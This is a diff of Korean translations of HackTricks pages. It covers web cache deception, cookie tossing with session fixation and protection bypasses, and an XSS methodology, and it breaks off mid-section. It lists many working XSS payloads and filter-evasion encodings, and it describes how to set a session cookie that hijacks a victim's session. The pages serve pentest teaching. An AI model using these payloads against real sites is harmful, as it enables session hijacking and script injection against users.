그런 다음, **attacker**는 자신의 브라우저에서 _http://www.example.com/home.php/non-existent.css_에 접근하여 이전에 접근한 사용자의 **기밀 정보**를 관찰할 수 있습니다.
|
||||
|
||||
**cache proxy**는 **extension**에 따라 파일을 **cache**하도록 **구성**되어야 하며, content-type에 따라 캐시되지 않아야 합니다. 예제 _http://www.example.com/home.php/non-existent.css_는 `text/html` content-type을 가지며, _.css_ 파일에 대한 예상 mime type인 `text/css`가 아닙니다.
|
||||
**cache proxy**는 **extension**에 따라 파일을 **캐시**하도록 **구성**되어야 하며, 콘텐츠 유형에 따라 캐시되지 않아야 합니다. 예를 들어, _http://www.example.com/home.php/non-existent.css_는 `text/css` MIME 유형 대신 `text/html` 콘텐츠 유형을 가집니다(이는 _.css_ 파일에 대해 예상되는 것입니다).
|
||||
|
||||
여기에서 [Cache Deceptions 공격을 HTTP Request Smuggling을 악용하여 수행하는 방법](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)에 대해 알아보세요.
|
||||
|
||||
|
@ -1,67 +1,68 @@
|
||||
# 쿠키 토스
|
||||
# Cookie Tossing
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### 설명
|
||||
### Description
|
||||
|
||||
공격자가 **서브도메인이나 회사의 도메인을 제어하거나 서브도메인에서 XSS를 발견할 수 있다면** 이 공격을 수행할 수 있습니다.
|
||||
|
||||
쿠키 해킹 섹션에서 언급했듯이, **쿠키가 도메인에 설정되면(지정할 경우) 해당 도메인과 서브도메인에서 사용됩니다.**
|
||||
Cookies Hacking 섹션에서 언급했듯이, **쿠키가 도메인에 설정되면(지정된 경우) 해당 도메인과 서브도메인에서 사용됩니다.**
|
||||
|
||||
> [!CAUTION]
|
||||
> 따라서, **공격자는 특정 쿠키를 도메인과 서브도메인에 설정할 수 있습니다. 예를 들어** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
|
||||
|
||||
이는 위험할 수 있으며, 공격자는 다음과 같은 작업을 수행할 수 있습니다:
|
||||
이것은 위험할 수 있으며, 공격자는 다음과 같은 작업을 수행할 수 있습니다:
|
||||
|
||||
- **피해자의 쿠키를 공격자의 계정으로 고정**하여 사용자가 이를 인지하지 못하면, **공격자의 계정에서 행동을 수행하게 됩니다**. 공격자는 흥미로운 정보를 얻을 수 있습니다(플랫폼에서 사용자의 검색 기록 확인, 피해자가 계정에 신용카드를 설정할 수 있음...)
|
||||
- **로그인 후 쿠키가 변경되지 않는 경우**, 공격자는 **쿠키를 고정(세션 고정)**하고 피해자가 로그인할 때까지 기다린 후 **그 쿠키를 사용하여 피해자로 로그인할 수 있습니다**.
|
||||
- **희생자의 쿠키를 공격자의 계정에 고정시킬 수 있습니다.** 사용자가 이를 인지하지 못하면, **그는 공격자의 계정에서 행동을 수행하게 되고 공격자는 흥미로운 정보를 얻을 수 있습니다** (사용자의 플랫폼 검색 기록 확인, 희생자가 계정에 신용카드를 설정할 수 있음...)
|
||||
- 이 [예시는 여기에서 찾을 수 있습니다](https://snyk.io/articles/hijacking-oauth-flows-via-cookie-tossing/) 공격자가 희생자가 **자신의 git 리포지토리에 접근하기 위해 사용할 특정 섹션에 자신의 쿠키를 설정한 경우**입니다. 공격자는 필요한 엔드포인트에 자신의 쿠키를 설정할 것입니다.
|
||||
- **로그인 후 쿠키가 변경되지 않으면**, 공격자는 **쿠키를 고정(session-fixation)**하고 희생자가 로그인할 때까지 기다린 다음 **그 쿠키를 사용하여 희생자처럼 로그인할 수 있습니다**.
|
||||
- 때때로, 세션 쿠키가 변경되더라도 공격자는 이전 쿠키를 사용하고 새로운 쿠키도 받을 수 있습니다.
|
||||
- **쿠키가 초기 값을 설정하는 경우**(예: 플라스크에서 **쿠키**가 **세션의 CSRF 토큰**을 **설정**하고 이 값이 피해자가 로그인한 후에도 유지되는 경우), **공격자는 이 알려진 값을 설정한 후 이를 악용할 수 있습니다**(이 경우 공격자는 CSRF 토큰을 알고 있으므로 사용자가 CSRF 요청을 수행하게 만들 수 있습니다).
|
||||
- **쿠키가 초기 값을 설정하는 경우** (예: flask에서 **쿠키**가 **세션의 CSRF 토큰**을 **설정하고 이 값이 희생자가 로그인한 후에도 유지되는 경우**), **공격자는 이 알려진 값을 설정한 다음 이를 악용할 수 있습니다** (이 시나리오에서 공격자는 CSRF 토큰을 알고 있으므로 사용자가 CSRF 요청을 수행하게 만들 수 있습니다).
|
||||
- 값을 설정하는 것처럼, 공격자는 서버에서 생성된 인증되지 않은 쿠키를 얻고, 그로부터 CSRF 토큰을 얻어 사용할 수도 있습니다.
|
||||
|
||||
### 쿠키 순서
|
||||
### Cookie Order
|
||||
|
||||
브라우저가 **같은 이름의 두 쿠키를 수신하고** **같은 범위(도메인, 서브도메인 및 경로)에 부분적으로 영향을 미치는 경우**, **브라우저는 요청에 대해 두 쿠키의 값을 모두 보냅니다**.
|
||||
브라우저가 **같은 이름의 두 쿠키를 수신하고 동일한 범위**(도메인, 서브도메인 및 경로)에 부분적으로 영향을 미치는 경우, **브라우저는 요청에 대해 두 쿠키의 값을 모두 전송합니다.**
|
||||
|
||||
가장 **구체적인 경로**를 가진 쿠키나 **가장 오래된 쿠키**에 따라, 브라우저는 **먼저 쿠키의 값을 설정**하고 그 다음에 다른 쿠키의 값을 설정합니다. 예: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
가장 **구체적인 경로**를 가진 쿠키나 **가장 오래된 쿠키**에 따라 브라우저는 **먼저 쿠키의 값을 설정하고** 그 다음 다른 쿠키의 값을 설정합니다. 예: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
대부분의 **웹사이트는 첫 번째 값만 사용합니다**. 따라서 공격자가 쿠키를 설정하려면 다른 쿠키가 설정되기 전에 설정하는 것이 좋거나 더 구체적인 경로로 설정하는 것이 좋습니다.
|
||||
대부분의 **웹사이트는 첫 번째 값만 사용합니다**. 따라서 공격자가 쿠키를 설정하려면 다른 쿠키가 설정되기 전에 설정하거나 더 구체적인 경로로 설정하는 것이 좋습니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 또한, **더 구체적인 경로에 쿠키를 설정할 수 있는 능력**은 매우 흥미롭습니다. 이는 **피해자가 악성 쿠키가 설정된 특정 경로를 제외한 자신의 쿠키로 작업하게 만들 수 있습니다**.
|
||||
> 또한, **더 구체적인 경로에 쿠키를 설정할 수 있는 능력**은 매우 흥미롭습니다. 이는 **희생자가 악성 쿠키가 설정된 특정 경로를 제외하고 자신의 쿠키로 작업하게 만들 수 있기 때문입니다.**
|
||||
|
||||
### 보호 우회
|
||||
### Protection Bypass
|
||||
|
||||
이 공격에 대한 가능한 보호 방법은 **웹 서버가 같은 이름의 두 쿠키를 두 개의 다른 값으로 수락하지 않는 것입니다**.
|
||||
이 공격에 대한 가능한 보호는 **웹 서버가 동일한 이름의 두 쿠키를 서로 다른 값으로 수락하지 않는 것입니다.**
|
||||
|
||||
공격자가 피해자에게 이미 쿠키가 제공된 후 쿠키를 설정하는 시나리오를 우회하기 위해, 공격자는 **쿠키 오버플로우**를 유발할 수 있으며, 그런 다음 **정상 쿠키가 삭제되면 악성 쿠키를 설정할 수 있습니다**.
|
||||
공격자가 희생자에게 이미 쿠키가 제공된 후 쿠키를 설정하는 시나리오를 우회하기 위해, 공격자는 **쿠키 오버플로우**를 유발할 수 있으며, 그런 다음 **정상 쿠키가 삭제되면 악성 쿠키를 설정할 수 있습니다.**
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
또 다른 유용한 **우회 방법**은 **쿠키의 이름을 URL 인코딩하는 것입니다**. 일부 보호 방법은 요청에서 같은 이름의 두 쿠키를 확인하고, 서버는 쿠키의 이름을 디코딩합니다.
|
||||
또 다른 유용한 **우회 방법**은 **쿠키의 이름을 URL 인코딩하는 것입니다.** 일부 보호는 요청에서 동일한 이름의 두 쿠키를 확인하고 서버는 쿠키의 이름을 디코딩합니다.
|
||||
|
||||
### 쿠키 폭탄
|
||||
### Cookie Bomb
|
||||
|
||||
쿠키 토스 공격은 **쿠키 폭탄** 공격을 수행하는 데에도 사용될 수 있습니다:
|
||||
Cookie Tossing 공격은 **Cookie Bomb** 공격을 수행하는 데에도 사용될 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
cookie-bomb.md
|
||||
{{#endref}}
|
||||
|
||||
### 방어**s**
|
||||
### Defense**s**
|
||||
|
||||
#### **쿠키 이름에 접두사 `__Host` 사용**
|
||||
|
||||
- 쿠키 이름에 이 접두사가 있으면, **Secure로 표시되고, 안전한 출처에서 전송되며, Domain 속성이 포함되지 않고, Path 속성이 /로 설정된 경우에만** Set-Cookie 지시문에서 **수락됩니다**.
|
||||
- 쿠키 이름에 이 접두사가 있으면, **Secure로 표시되고, 안전한 출처에서 전송되며, Domain 속성이 포함되지 않고, Path 속성이 /로 설정된 경우에만** Set-Cookie 지시문에서 **수락됩니다.**
|
||||
- **이것은 서브도메인이 쿠키를 최상위 도메인으로 강제 설정하는 것을 방지합니다. 이러한 쿠키는 "도메인 잠금"으로 간주될 수 있습니다.**
|
||||
|
||||
### 참고 문헌
|
||||
### References
|
||||
|
||||
- [**@blueminimal**](https://twitter.com/blueminimal)
|
||||
- [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
|
||||
- [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
|
||||
- [**쿠키 부서짐: 웹 세션 무결성 취약점 드러내기**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
|
||||
- [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
## 방법론
|
||||
|
||||
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 의해 **사용**되는지 확인합니다.
|
||||
1. **당신이 제어하는 값** (_매개변수_, _경로_, _헤더_?, _쿠키_?)가 HTML에 **반영**되거나 **JS** 코드에 **사용**되고 있는지 확인합니다.
|
||||
2. **반영/사용되는 맥락**을 찾습니다.
|
||||
3. **반영된 경우**
|
||||
1. **어떤 기호를 사용할 수 있는지** 확인하고, 그에 따라 페이로드를 준비합니다:
|
||||
@ -11,7 +11,7 @@
|
||||
2. `javascript:` 프로토콜을 지원하는 이벤트나 속성을 사용할 수 있습니까?
|
||||
3. 보호를 우회할 수 있습니까?
|
||||
4. HTML 콘텐츠가 클라이언트 측 JS 엔진 (_AngularJS_, _VueJS_, _Mavo_...)에 의해 해석되고 있다면, [**클라이언트 측 템플릿 주입**](../client-side-template-injection-csti.md)을 악용할 수 있습니다.
|
||||
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트리스 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까?
|
||||
5. JS 코드를 실행하는 HTML 태그를 생성할 수 없다면, [**덩글링 마크업 - HTML 스크립트 없는 주입**](../dangling-markup-html-scriptless-injection/index.html)을 악용할 수 있습니까?
|
||||
2. **HTML 태그 내부**에서:
|
||||
1. 원시 HTML 맥락으로 나갈 수 있습니까?
|
||||
2. JS 코드를 실행하기 위해 새로운 이벤트/속성을 생성할 수 있습니까?
|
||||
@ -35,7 +35,7 @@ debugging-client-side-js.md
|
||||
|
||||
## 반영된 값
|
||||
|
||||
XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 웹 페이지에 **당신이 제어하는 값이 반영되고 있는지**입니다.
|
||||
XSS를 성공적으로 악용하기 위해 가장 먼저 찾아야 할 것은 **당신이 제어하는 값이 웹 페이지에 반영되고 있는지**입니다.
|
||||
|
||||
- **중간에 반영된 경우**: 매개변수의 값이나 경로가 웹 페이지에 반영되고 있다면 **반영된 XSS**를 악용할 수 있습니다.
|
||||
- **저장되고 반영된 경우**: 당신이 제어하는 값이 서버에 저장되고 페이지에 접근할 때마다 반영된다면 **저장된 XSS**를 악용할 수 있습니다.
|
||||
@ -56,7 +56,7 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
|
||||
|
||||
1. **속성과 태그에서 이스케이프**하여 (그럼 원시 HTML에 있게 됩니다) 악용할 새로운 HTML 태그를 생성합니다: `"><img [...]`
|
||||
2. **속성에서 이스케이프할 수 있지만 태그에서 이스케이프할 수 없는 경우** (`>`가 인코딩되거나 삭제된 경우), 태그에 따라 **JS 코드를 실행하는 이벤트**를 생성할 수 있습니다: `" autofocus onfocus=alert(1) x="`
|
||||
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. 예를 들어, `onclick=`과 같은 이벤트를 제어할 수 있다면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
3. **속성에서 이스케이프할 수 없는 경우** (`"`가 인코딩되거나 삭제된 경우), 당신의 값이 반영되는 **어떤 속성**인지에 따라 **모든 값을 제어하는지 아니면 일부만 제어하는지**에 따라 악용할 수 있습니다. **예를 들어**, `onclick=`과 같은 이벤트를 제어하면 클릭 시 임의의 코드를 실행할 수 있습니다. 또 다른 흥미로운 **예**는 `href` 속성으로, `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
4. 당신의 입력이 "**악용할 수 없는 태그**" 내부에 반영된다면, **`accesskey`** 트릭을 시도하여 취약점을 악용할 수 있습니다 (이를 악용하기 위해서는 어떤 형태의 사회 공학이 필요합니다): **`" accesskey="x" onclick="alert(1)" x="**
|
||||
|
||||
클래스 이름을 제어할 경우 Angular가 XSS를 실행하는 이상한 예:
|
||||
@ -65,16 +65,16 @@ XSS를 악용하려고 할 때 가장 먼저 알아야 할 것은 **당신의
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### Inside JavaScript code
|
||||
### JavaScript 코드 내부
|
||||
|
||||
이 경우 입력은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내에서 반영됩니다:
|
||||
이 경우 입력값은 HTML 페이지의 **`<script> [...] </script>`** 태그, `.js` 파일 또는 **`javascript:`** 프로토콜을 사용하는 속성 내부에 반영됩니다:
|
||||
|
||||
- **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 입력이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 파싱하기 때문에, 주입된 `</script>` 태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다.
|
||||
- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **나가고**, **코드를 실행**하고 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
|
||||
- **`<script> [...] </script>`** 태그 사이에 반영되는 경우, 입력값이 어떤 종류의 따옴표 안에 있더라도 `</script>`를 주입하고 이 컨텍스트에서 벗어날 수 있습니다. 이는 **브라우저가 먼저 HTML 태그를 파싱**하고 그 다음에 내용을 처리하기 때문에, 주입된 `</script>` 태그가 HTML 코드 내부에 있다는 것을 인식하지 못합니다.
|
||||
- **JS 문자열 내부**에 반영되고 마지막 트릭이 작동하지 않는 경우, 문자열에서 **나가고**, **코드를 실행**하며 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- 템플릿 리터럴 안에 반영되는 경우 `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- 템플릿 리터럴 내부에 반영되는 경우, `${ ... }` 구문을 사용하여 **JS 표현식**을 **삽입**할 수 있습니다: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **유니코드 인코딩**은 **유효한 자바스크립트 코드**를 작성하는 데 사용됩니다:
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -94,17 +94,17 @@ js-hoisting.md
|
||||
|
||||
여러 웹 페이지에는 **실행할 함수의 이름을 매개변수로 받아들이는 엔드포인트**가 있습니다. 실제로 흔히 볼 수 있는 예는 `?callback=callbackFunc`와 같은 것입니다.
|
||||
|
||||
사용자가 직접 제공한 것이 실행되려고 하는지 확인하는 좋은 방법은 **매개변수 값을 수정하는 것**(예: 'Vulnerable'로)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다:
|
||||
사용자가 직접 제공한 것이 실행되려고 하는지 알아내는 좋은 방법은 **매개변수 값을 수정하는 것**(예: 'Vulnerable'로)이고, 콘솔에서 다음과 같은 오류를 찾는 것입니다:
|
||||
|
||||
.png>)
|
||||
|
||||
취약한 경우, **값을 보내기만 해도 경고를 트리거할 수 있습니다**: **`?callback=alert(1)`**. 그러나 이러한 엔드포인트는 **내용을 검증하여 문자, 숫자, 점 및 밑줄만 허용하는 것이 매우 일반적입니다** (**`[\w\._]`**).
|
||||
만약 취약하다면, **값을 보내기만 해도 경고를 트리거할 수 있습니다**: **`?callback=alert(1)`**. 그러나 이러한 엔드포인트는 **내용을 검증하여 문자, 숫자, 점 및 밑줄만 허용하는 것이 매우 일반적입니다** (**`[\w\._]`**).
|
||||
|
||||
그러나 이러한 제한이 있더라도 여전히 일부 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 **DOM의 모든 요소에 접근할 수 있기 때문입니다**:
|
||||
하지만 이러한 제한이 있더라도 여전히 몇 가지 작업을 수행할 수 있습니다. 이는 유효한 문자를 사용하여 **DOM의 모든 요소에 접근할 수 있기 때문입니다**:
|
||||
|
||||
.png>)
|
||||
|
||||
이와 관련된 유용한 함수들:
|
||||
이를 위한 몇 가지 유용한 함수:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -116,7 +116,7 @@ parentElement
|
||||
|
||||
그러나 일반적으로 지정된 함수를 실행하는 엔드포인트는 흥미로운 DOM이 많지 않은 엔드포인트입니다. **같은 출처의 다른 페이지**는 더 많은 작업을 수행할 수 있는 **더 흥미로운 DOM**을 가질 것입니다.
|
||||
|
||||
따라서 **다른 DOM에서 이 취약점을 악용하기 위해** **Same Origin Method Execution (SOME)** 익스플로잇이 개발되었습니다:
|
||||
따라서 **다른 DOM에서 이 취약점을 악용하기 위해** **Same Origin Method Execution (SOME)** 취약점이 개발되었습니다:
|
||||
|
||||
{{#ref}}
|
||||
some-same-origin-method-execution.md
|
||||
@ -124,16 +124,15 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
**JS 코드**가 **공격자가 제어하는** **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
|
||||
**JS 코드**가 **공격자가 제어하는** 일부 **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### **유니버설 XSS**
|
||||
### **Universal XSS**
|
||||
|
||||
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 등의 악용이 가능합니다.\
|
||||
몇 가지 **예시**:
|
||||
이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 취약점에만 의존하지 않고 **모든** **맥락**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다. 몇 가지 **예시**:
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
@ -149,8 +148,8 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
## 원시 HTML 내에서 주입
|
||||
|
||||
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지 또는 **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
|
||||
이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\
|
||||
당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 맥락에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그냥 **그 문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지, **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하세요. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\
|
||||
이 경우에도 **기억하세요** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다.**_
|
||||
|
||||
이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다:
|
||||
@ -162,7 +161,7 @@ alert(1)
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
하지만, 태그/속성 블랙리스트/화이트리스트가 사용되고 있다면, 어떤 태그를 생성할 수 있는지 **브루트 포스**해야 합니다.\
|
||||
어떤 태그가 허용되는지 **찾은 후**, 발견된 유효한 태그 내에서 **속성/이벤트를 브루트 포스**하여 공격할 수 있는 방법을 확인해야 합니다.
|
||||
허용된 태그를 **찾은 후**, 발견된 유효한 태그 내에서 **속성/이벤트를 브루트 포스**하여 공격할 수 있는 방법을 확인해야 합니다.
|
||||
|
||||
### 태그/이벤트 브루트 포스
|
||||
|
||||
@ -226,16 +225,16 @@ onerror=alert`1`
|
||||
//Use more than one
|
||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
### 길이 우회 (작은 XSS)
|
||||
|
||||
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서 찾을 수 있습니다**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **다양한 환경을 위한 더 많은 작은 XSS** 페이로드 [**여기에서 찾을 수 있습니다**](https://github.com/terjanq/Tiny-XSS-Payloads) 및 [**여기에서**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
마지막 것은 2개의 유니코드 문자를 사용하여 5로 확장됩니다: telsr\
|
||||
이러한 문자는 [여기](https://www.unicode.org/charts/normalization/)에서 더 찾을 수 있습니다.\
|
||||
어떤 문자가 분해되었는지 확인하려면 [여기](https://www.compart.com/en/unicode/U+2121)에서 확인하세요.
|
||||
어떤 문자가 분해되었는지 확인하려면 [여기](https://www.compart.com/en/unicode/U+2121)를 확인하세요.
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
@ -247,10 +246,10 @@ onerror=alert`1`
|
||||
|
||||
## HTML 태그 내부에 주입하기
|
||||
|
||||
### 태그 내부/속성 값에서 탈출하기
|
||||
### 태그 내부/속성 값에서 이스케이프하기
|
||||
|
||||
**HTML 태그 내부에 있는 경우**, 시도할 수 있는 첫 번째 것은 **태그에서 탈출**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
|
||||
**태그에서 탈출할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 탈출하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영되는 경우에는 필요하지 않습니다_):
|
||||
**HTML 태그 내부에 있다면**, 시도할 수 있는 첫 번째 것은 태그에서 **이스케이프**하고 [이전 섹션](#injecting-inside-raw-html)에서 언급된 기술 중 일부를 사용하여 JS 코드를 실행하는 것입니다.\
|
||||
**태그에서 이스케이프할 수 없다면**, 태그 내부에 새로운 속성을 만들어 JS 코드를 실행하려고 시도할 수 있습니다. 예를 들어 (_이 예제에서는 속성에서 이스케이프하기 위해 이중 따옴표를 사용하지만, 입력이 태그 내부에 직접 반영된다면 필요하지 않습니다_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,12 +266,12 @@ onerror=alert`1`
|
||||
```
|
||||
### 속성 내에서
|
||||
|
||||
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
|
||||
속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어할 수 있다면 클릭할 때 임의의 코드를 실행할 수 있습니다.\
|
||||
또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`**
|
||||
|
||||
**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회**
|
||||
|
||||
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩**됩니다. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">뒤로 가기 </a>`
|
||||
|
||||
**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**:
|
||||
```javascript
|
||||
@ -291,11 +290,11 @@ HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**URL 인코딩도 작동합니다:**
|
||||
**URL 인코딩도 작동한다는 점에 유의하세요:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**유니코드 인코드를 사용하여 내부 이벤트 우회**
|
||||
**유니코드 인코딩을 사용하여 내부 이벤트 우회**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -351,17 +350,17 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
|
||||
또한 이러한 경우에 대한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
다음에 유의하세요. **페이로드**를 인코딩하기 위해 `URLencode + HTMLencode`를 어떤 순서로 사용하더라도 **작동하지 않습니다**, 하지만 **페이로드 안에서 혼합할 수 있습니다**.
|
||||
